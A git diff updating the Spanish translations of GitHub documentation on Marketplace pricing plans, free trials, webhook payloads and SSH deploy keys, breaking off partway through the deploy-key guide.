-If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed.
+Los clientes compran tu app utilizando un método de pago adjunto a su cuenta de {% data variables.product.product_location %} sin tener que salir de {% data variables.product.prodname_dotcom_the_website %}. No tienes que escribir código para realizar las transacciones de facturación, pero tendrás que administrar los eventos desde la API de {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+Si la app que estás listando en {% data variables.product.prodname_marketplace %} tiene opciones de plan múltiples, puedes configurar los planes de precios correspondientes. Por ejemplo, si tu app tiene dos opciones de plan, u plan de código abierto y un plan profesional, puedes configurar un plan de precios gratuito para tu plan de código abierto y un plan de tasa fija para tu plan profesional. Cada listado de {% data variables.product.prodname_marketplace %} debe tener un precio mensual y anual para cada plan que se liste.
+
+Para obtener más información sobre cómo crear un plan de precios, consulta la sección "[Configurar un plan de precios del listado de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)".
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Types of pricing plans
+## Tipos de planes de precios
 
-### Free pricing plans
+### Planes gratuitos
 
 {% data reusables.marketplace.free-apps-encouraged %}
 
-Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing.
+Los planes gratuitos no tienen costo alguno para los usuarios. Si configuras un plan de precios gratuito, no puedes cobrar a los usuarios que elijan dicho plan por utilizar tu app. Puedes crear planes tanto de pago como gratuitos para tu listado.
 
-All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+Todas las apps necesitan administrar los eventos de las compras nuevas y de las cancelaciones. Aquellas apps que solo tengan planes gratuitos no necesitan administrar los eventos de las pruebas gratuitas, mejoras y retrocesos. Para obtener más información, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)".
 
-If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding.
+Si agregas un plan de pago a una app que ya esté listada en {% data variables.product.prodname_marketplace %} como un servicio gratuito, necesitarás solicitar una verificación para dicha app y pasar por un proceso de integración financiera.
 
-### Paid pricing plans
+### Planes de pago
 
-There are two types of paid pricing plan:
+Hay dos tipos de planes de pago:
 
-- Flat rate pricing plans charge a set fee on a monthly and yearly basis.
+- Los planes de pago de tasa fija cobran una cantidad fija mensual o anualmente.
 
-- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person).
+- Los planes de pago por unidad cobran una cantidad fija ya sea mensual o anual por el tipo de unidad que especifiques. Una "unidad" puede ser lo que tu escojas (por ejemplo, un usuario, una plaza, una persona).
 
-You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans.
+Puede que también quieras ofrecer pruebas gratuitas. Estas proporcionan periodos de prueba gratuitos de 14 días en aplicaciones de GitHub y de OAuth. Cuandoconfiguras un plan de precios en Marketplace, puedes seleccionar la opción de proporcionar un plan gratuito para los planes de tasa fija o o de costo por unidad.
 
-## Free trials
+## Periodos de prueba gratuitos
 
-Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product.
+Los clientes pueden iniciar un periodo de prueba gratuto para cualquier plan de pago en una lista de Marketplace que incluya pruebas gratuitas. Sin embargo, los clientes no pueden crear más de una prueba gratuita por producto de marketplace.
 
-Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel.
+Los periodos de prueba gratuitos tienen una longitud fija de 14 días. Se les notifica a los clientes 4 días antes del fin de su periodo de pruebas gratuito (en el día 11 del este periodo) sobre la mejora que se hará a su plan. Al final del periodo de pruebas gratuito, los clientes se matricularán automáticamente en el plan desde el cual estaban generando el periodo gratuito en caso de que no lo cancelen.
 
-For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)."
+Para obtener más información, consulta la sección "[Administrar las compras nuevas y las pruebas gratuitas](/developers/github-marketplace/handling-new-purchases-and-free-trials/)".
 
 {% note %}
 
-**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event.
+**Nota:** GitHub espera que borres cualquier dato privado del cliente dentro de los primeros 30 días después de que se cancela una prueba, iniciando con la recepción del evento de cancelación.
 
 {% endnote %}
diff --git a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
index 3ed5f7ae4a..bf9fa92559 100644
--- a/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
+++ b/translations/es-ES/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
@@ -2,10 +2,10 @@
 title: Recibir pagos por las compras de las apps
 intro: 'Al final de cada mes, recibiras los pagos de tus listados de {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing/
-  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing/
-  - /apps/marketplace/pricing-payments-and-free-trials/receiving-payment-for-a-github-marketplace-listing/
-  - /apps/marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings/
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/pricing-payments-and-free-trials/receiving-payment-for-a-github-marketplace-listing
+  - /apps/marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings
   - /marketplace/selling-your-app/receiving-payment-for-github-marketplace-listings
   - /developers/github-marketplace/receiving-payment-for-app-purchases
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
index 064761f321..ee08c540df 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md
@@ -2,9 +2,9 @@
 title: Gestionar las compras nuevas y las pruebas gratuitas
 intro: 'Cuando un cliente compra un plan de pago, una prueba gratuita, o la versión gratuita de tu app de {% data variables.product.prodname_marketplace %}, recibirás el webhook de [evento de `marketplace_purchase`] (/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) con la acción `comprado`, lo cual inicia el flujo de compra.'
 redirect_from:
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps/
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials/
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-github-apps
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/supporting-purchase-plans-for-oauth-apps
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials
   - /marketplace/integrating-with-the-github-marketplace-api/handling-new-purchases-and-free-trials
   - /developers/github-marketplace/handling-new-purchases-and-free-trials
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
index 429bf57bee..99b7b297e9 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
@@ -2,8 +2,8 @@
 title: Gestionar las cancelaciones de plan
 intro: 'El cancelar una app de {% data variables.product.prodname_marketplace %} activa el webhook del [evento `marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) con la acción `cancelada`, lo cual inicia el flujo de cancelación.'
 redirect_from:
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans/
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
   - /marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
   - /developers/github-marketplace/handling-plan-cancellations
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
index ba8fcd3e77..a8137233d0 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
@@ -2,8 +2,8 @@
 title: Gestionar cambios de plan
 intro: 'El mejorar y degradar una app de {% data variables.product.prodname_marketplace %} activa el webhook del [evento `marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) con la acción `cambiada`, lo cual inicia el flujo de mejora o degradación.'
 redirect_from:
-  - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans/
+  - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
   - /marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
   - /developers/github-marketplace/handling-plan-changes
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
index 1eccf6effb..0f27f2e9d0 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
@@ -2,8 +2,8 @@
 title: Utilizar la API de GitHub Marketplace en tu app
 intro: 'Aprende cómo integrar la API y eventos de webhook de {% data variables.product.prodname_marketplace %} en tu app para {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/marketplace/setting-up-github-marketplace-webhooks/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/
+  - /apps/marketplace/setting-up-github-marketplace-webhooks
+  - /apps/marketplace/integrating-with-the-github-marketplace-api
   - /marketplace/integrating-with-the-github-marketplace-api
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
index 48f7fd34cc..1c5f78351d 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
@@ -2,8 +2,8 @@
 title: Terminales de REST para la API de GitHub Marketplace
 intro: 'Para ayudarte a adminsitrar tu app en {% data variables.product.prodname_marketplace %}, utiliza estas terminales de la API de {% data variables.product.prodname_marketplace %}.'
 redirect_from:
-  - /apps/marketplace/github-marketplace-api-endpoints/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints/
+  - /apps/marketplace/github-marketplace-api-endpoints
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
   - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-rest-api-endpoints
   - /developers/github-marketplace/rest-endpoints-for-the-github-marketplace-api
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
index dd9df2e474..b4f3aab338 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md
@@ -2,8 +2,8 @@
 title: Probar tu app
 intro: 'GitHub te recomienda probar tu app con las API y los webhooks antes de emitir tu listado a {% data variables.product.prodname_marketplace %} para que puedas proporcionar una experiencia ideal para los clientes. Antes de que un experto de incorporación apruebe tu app, ésta deberá administrar los flujos de facturación adecuadamente.'
 redirect_from:
-  - /apps/marketplace/testing-apps-apis-and-webhooks/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/
+  - /apps/marketplace/testing-apps-apis-and-webhooks
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
   - /marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps
   - /developers/github-marketplace/testing-your-app
 versions:
diff --git a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
index 09d39b815f..23bdc8a97e 100644
--- a/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
+++ b/translations/es-ES/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md
@@ -1,9 +1,9 @@
 ---
-title: Webhook events for the GitHub Marketplace API
-intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.'
+title: Eventos de webhook para la API de GitHub Marketplace
+intro: 'Una app de {% data variables.product.prodname_marketplace %} recibe información acerca de los cambios en el plan de un usuario desde el webhook del evento de compra en Marketplace. Un evento de compra de marketplace se activa cuando un usuario compra, cancela o cambia su plan de pago.'
 redirect_from:
-  - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/
-  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/
+  - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing
+  - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
   - /marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events
   - /developers/github-marketplace/webhook-events-for-the-github-marketplace-api
 versions:
@@ -11,65 +11,66 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Webhook events
+shortTitle: Eventos de webhook
 ---
-## {% data variables.product.prodname_marketplace %} purchase webhook payload
 
-Webhooks `POST` requests have special headers. See "[Webhook delivery headers](/webhooks/event-payloads/#delivery-headers)" for more details. GitHub doesn't resend failed delivery attempts. Ensure your app can receive all webhook payloads sent by GitHub.
+## Carga útil del webhook de compras en {% data variables.product.prodname_marketplace %}
 
-Cancellations and downgrades take effect on the first day of the next billing cycle. Events for downgrades and cancellations are sent when the new plan takes effect at the beginning of the next billing cycle. Events for new purchases and upgrades begin immediately. Use the `effective_date` in the webhook payload to determine when a change will begin.
+Las solicitudes de `POST` de los webhooks tienen encabezados especiales. Consulta la sección "[Encabezados de entrega de Webhooks](/webhooks/event-payloads/#delivery-headers)" para encontrar más detalles. GitHub no reenvía los intentos fallidos de entrega. Asegúrate de que tu app pueda recibir toda la carga útil del webhook que envíe GitHub.
+
+Las cancelaciones y disminuciones de categoría toman efecto el primer día del siguiente ciclo de facturación. Los eventos para las cancelaciones y disminuciones de categoría se envían cuando el nuevo plan entre en vigor al inicio del siguiente ciclo de facturación. Los eventos para las nuevas compras y mejoras de categoría comienzan inmediatamente. Utiliza `effective_date` en la carga útil del webhook para determinar cuándo comenzará un cambio.
 
 {% data reusables.marketplace.marketplace-malicious-behavior %}
 
-Each `marketplace_purchase` webhook payload will have the following information:
+Cada carga útil de webhook de una `marketplace_purchase` tendrá la siguiente información:
 
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | The action performed to generate the webhook. Can be `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled`, or `changed`. For more information, see the example webhook payloads below. **Note:** The `pending_change` and `pending_change_cancelled` payloads contain the same keys as shown in the [`changed` payload example](#example-webhook-payload-for-a-changed-event).
-`effective_date` | `string` | The date the `action` becomes effective.
-`sender` | `object` | The person who took the `action` that triggered the webhook.
-`marketplace_purchase` | `object` | The {% data variables.product.prodname_marketplace %} purchase information.
+| Clave                  | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| ---------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción`               | `secuencia` | La acción realizada para generar el webhook. Puede ser `purchased`, `cancelled`, `pending_change`, `pending_change_cancelled`, o `changed`. Para obtener más información, consulta los ejemplos de cargas útiles de webhook a continuación. **Nota:** las cargas útiles de `pending_change` y `pending_change_cancelled` contienen las mismas claves que se muestra en el [ejemplo de carga útil de `changed`](#example-webhook-payload-for-a-changed-event). |
+| `effective_date`       | `secuencia` | La fecha en la que la `action` se hace efectiva.                                                                                                                                                                                                                                                                                                                                                                                                              |
+| `sender`               | `objeto`    | La persona que tomó la `action` que activó el webhook.                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `marketplace_purchase` | `objeto`    | La información de compra de {% data variables.product.prodname_marketplace %}.                                                                                                                                                                                                                                                                                                                                                                                |
 
-The `marketplace_purchase` object has the following keys:
+El objeto `marketplace_purchase` tiene las siguientes claves:
 
-Key | Type | Description
-----|------|-------------
-`account` | `object` | The `organization` or `user` account associated with the subscription. Organization accounts will include `organization_billing_email`, which is the organization's administrative email address. To find email addresses for personal accounts, you can use the [Get the authenticated user](/rest/reference/users#get-the-authenticated-user) endpoint.
-`billing_cycle` | `string` | Can be `yearly` or `monthly`. When the `account` owner has a free GitHub plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `billing_cycle` will be `nil`.
-`unit_count`  | `integer` | Number of units purchased.
-`on_free_trial` | `boolean` | `true` when the `account` is on a free trial.
-`free_trial_ends_on` | `string` | The date the free trial will expire.
-`next_billing_date` | `string` | The date that the next billing cycle will start. When the `account` owner has a free GitHub.com plan and has purchased a free {% data variables.product.prodname_marketplace %} plan, `next_billing_date` will be `nil`.
-`plan` | `object` | The plan purchased by the `user` or `organization`.
+| Clave                | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                              |
+| -------------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `cuenta`             | `objeto`    | La cuenta de `organización` o `usuario` asociada con la suscripción. Las cuentas de organización incluirán `organization_billing_email`, que es la dirección de correo electrónico administrativa de la misma. Para encontrar direcciones de correo electrónico para cuentas personales, puedes utilizar la terminal [Obtener el usuario autenticado](/rest/reference/users#get-the-authenticated-user). |
+| `billing_cycle`      | `secuencia` | Puede ser `yearly` o `monthly`. Cuando el dueño de la `account` tiene un plan gratuito de GitHub y compra un plan gratuito de {% data variables.product.prodname_marketplace %}, el `billing_cycle` será `nil`.                                                                                                                                                                                          |
+| `unit_count`         | `número`    | Cantidad de unidades compradas.                                                                                                                                                                                                                                                                                                                                                                          |
+| `on_free_trial`      | `boolean`   | Es `true` cuando la `account` está en un periodo de prueba gratuito.                                                                                                                                                                                                                                                                                                                                     |
+| `free_trial_ends_on` | `secuencia` | La fecha en la que caduca el periodo de prueba gratuito.                                                                                                                                                                                                                                                                                                                                                 |
+| `next_billing_date`  | `secuencia` | La fecha en la que comenzará el siguiente ciclo de facturación. Cuando el dueño de la `account` tiene un plan gratuito de GitHub.com y compra un plan gratuito de {% data variables.product.prodname_marketplace %}, el `next_billing_date` será `nil`.                                                                                                                                                  |
+| `plan`               | `objeto`    | El plan que compra el `user` u `organization`.                                                                                                                                                                                                                                                                                                                                                           |
 
-The `plan` object has the following keys:
+El objeto `plan` tiene las siguientes claves:
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier for this plan.
-`name` | `string` | The plan's name.
-`description` | `string` | This plan's description.
-`monthly_price_in_cents` | `integer` | The monthly price of this plan in cents (US currency). For example, a listing that costs 10 US dollars per month will be 1000 cents.
-`yearly_price_in_cents` | `integer` | The yearly price of this plan in cents (US currency). For example, a listing that costs 100 US dollars per month will be 10000 cents.
-`price_model` | `string` | The pricing model for this listing. Can be one of `flat-rate`, `per-unit`, or `free`.
-`has_free_trial` | `boolean` | `true` when this listing offers a free trial.
-`unit_name` | `string` | The name of the unit. If the pricing model is not `per-unit` this will be `nil`.
-`bullet` | `array of strings` | The names of the bullets set in the pricing plan.
+| Clave                    | Tipo                     | Descripción                                                                                                                                              |
+| ------------------------ | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `id`                     | `número`                 | El identificador único para este plan.                                                                                                                   |
+| `name (nombre)`          | `secuencia`              | El nombre del plan.                                                                                                                                      |
+| `descripción`            | `secuencia`              | La descripción de este plan.                                                                                                                             |
+| `monthly_price_in_cents` | `número`                 | El precio mensual de este plan en centavos (Divisa de los EEUU). Por ejemplo, un listado que cuesta 10 dólares de EEUU por mes sería de 1000 centavos.   |
+| `yearly_price_in_cents`  | `número`                 | El precio anual para este plan en centavos (Divisa de los EEUU). Por ejemplo, un listado que cuesta 100 dólares de EEUU por mes sería de 10000 centavos. |
+| `price_model`            | `secuencia`              | El modelo de precios para este listado. Puede ser alguno de entre `flat-rate`, `per-unit`, o `free`.                                                     |
+| `has_free_trial`         | `boolean`                | es `true` cuando este listado ofrece un periodo de prueba gratuito.                                                                                      |
+| `unit_name`              | `secuencia`              | El nombre de la unidad. Si el modelo de precios no es `per-unit`, éste será `nil`.                                                                       |
+| `bullet`                 | `conjunto de secuencias` | Los nombres de los puntos configurados en el plan de precios.                                                                                            |
 
 <br/>
 
-### Example webhook payload for a `purchased` event
-This example provides the `purchased` event payload.
+### Ejemplo de la carga útil de un webhook para un evento de `purchased`
+Este ejemplo proporciona la carga útil del evento `purchased`.
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.purchased }}
 
-### Example webhook payload for a `changed` event
+### Ejemplo de la carga útil de un webhook para un evento de `changed`
 
-Changes in a plan include upgrades and downgrades. This example represents the `changed`,`pending_change`, and `pending_change_cancelled` event payloads. The action identifies which of these three events has occurred.
+Los cambios en un plan incluyen mejoras y degradaciones. Este ejemplo representa las cargas útiles de los eventos `changed`,`pending_change`, y `pending_change_cancelled`. La acción identifica cuál de estos tres eventos ha ocurrido.
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.changed }}
 
-### Example webhook payload for a `cancelled` event
+### Ejemplo de carga útil del webhook para un evento de `cancelled`
 
 {{ webhookPayloadsForCurrentVersion.marketplace_purchase.cancelled }}
diff --git a/translations/es-ES/content/developers/overview/managing-deploy-keys.md b/translations/es-ES/content/developers/overview/managing-deploy-keys.md
index b651619a2c..eb1e612798 100644
--- a/translations/es-ES/content/developers/overview/managing-deploy-keys.md
+++ b/translations/es-ES/content/developers/overview/managing-deploy-keys.md
@@ -1,8 +1,8 @@
 ---
-title: Managing deploy keys
-intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you.
+title: Administrar las llaves de despliegue
+intro: Aprende las diversas formas de administrar llaves SSH en tus servidores cuando automatizas los scripts de desplegue y averigua qué es lo mejor para ti.
 redirect_from:
-  - /guides/managing-deploy-keys/
+  - /guides/managing-deploy-keys
   - /v3/guides/managing-deploy-keys
 versions:
   fpt: '*'
@@ -14,53 +14,52 @@ topics:
 ---
 
 
-You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users.
+Puedes administrar llaves SSH en tus servidores cuando automatices tus scripts de despliegue utilizando el reenvío del agente de SSH, HTTPS con tokens de OAuth, o usuarios máquina.
 
-## SSH agent forwarding
+## Reenvío del agente SSH
 
-In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses.
+En muchos casos, especialmente al inicio de un proyecto, el reenvío del agente SSH es el método más fácil y rápido a utilizar. El reenvío de agentes utiliza las mismas llaves SSH que utiliza tu ordenador de desarrollo local.
 
 #### Pros
 
-* You do not have to generate or keep track of any new keys.
-* There is no key management; users have the same permissions on the server that they do locally.
-* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys.
+* No tienes que generar o llevar registros de las llaves nuevas.
+* No hay administración de llaves; los usuarios tienen los mismos permisos en el servidor y localmente.
+* No se almacenan las llaves en el servidor, así que, en caso de que el servidor se ponga en riesgo, no necesitas buscar y eliminar las llaves con este problema.
 
-#### Cons
+#### Contras
 
-* Users **must** SSH in to deploy; automated deploy processes can't be used.
-* SSH agent forwarding can be troublesome to run for Windows users.
+* Los usuarios **deben** ingresar cno SSH para hacer los despliegues; no pueden utilizarse los procesos de despliegue automatizados.
+* El reenvío del agente SSH puede ser difícil de ejecutar para usuarios de Windows.
 
-#### Setup
+#### Configuración
 
-1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information.
-2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: 
-`ssh -A serverA 'bash -s' < deploy.sh`
+1. Habilita el reenvío de agente localmente. Consulta [nuestra guía sobre el redireccionamiento del agente SSH][ssh-agent-forwarding] para obtener más información.
+2. Configura tus scripts de despliegue para utilizar el reenvío de agente. Por ejemplo, el habilitar el reenvío de agentes en un script de bash se vería más o menos así: `ssh -A serverA 'bash -s' < deploy.sh`
 
-## HTTPS cloning with OAuth tokens
+## Clonado de HTTPS con tokens de OAuth
 
-If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation].
+Si no quieres utilizar llaves SSH, puedes utilizar [HTTPS con tokens de OAuth][git-automation].
 
 #### Pros
 
-* Anyone with access to the server can deploy the repository.
-* Users don't have to change their local SSH settings.
-* Multiple tokens (one for each user) are not needed; one token per server is enough.
-* A token can be revoked at any time, turning it essentially into a one-use password.
+* Cualquiera que tenga acceso al servidor puede desplegar el repositorio.
+* Los usuarios no tienen que cambiar su configuración local de SSH.
+* No se necesitan tokens múltiples (uno por usuario); un token por servidor es suficiente.
+* Los tokens se pueden revocar en cualquier momento, convirtiéndolos esencialmente en una contraseña de un solo uso.
 {% ifversion ghes %}
-* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization).
+* Se puede generar nuevos tokens con scripts si se utiliza [la API de OAuth](/rest/reference/oauth-authorizations#create-a-new-authorization).
 {% endif %}
 
-#### Cons
+#### Contras
 
-* You must make sure that you configure your token with the correct access scopes.
-* Tokens are essentially passwords, and must be protected the same way.
+* Debes asegurarte de que configuras tu token con los alcances de acceso correctos.
+* Los tokens son prácticamente contraseñas, y deben protegerse de la misma manera.
 
-#### Setup
+#### Configuración
 
-See [our guide on Git automation with tokens][git-automation].
+Consulta [nuestra guía sobre la automatización de tokens en Git][git-automation].
 
-## Deploy keys
+## Llaves de implementación
 
 {% data reusables.repositories.deploy-keys %}
 
@@ -68,31 +67,31 @@ See [our guide on Git automation with tokens][git-automation].
 
 #### Pros
 
-* Anyone with access to the repository and server has the ability to deploy the project.
-* Users don't have to change their local SSH settings.
-* Deploy keys are read-only by default, but you can give them write access when adding them to a repository.
+* Cualquiera que tenga acceso al repositorio y al servidor tiene la capacidad de desplegar el proyecto.
+* Los usuarios no tienen que cambiar su configuración local de SSH.
+* Las llaves de despliegue son de solo lectura predeterminadamente, pero les puedes otorgar acceso de escritura cuando las agregas a un repositorio.
 
-#### Cons
+#### Contras
 
-* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server.
-* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised.
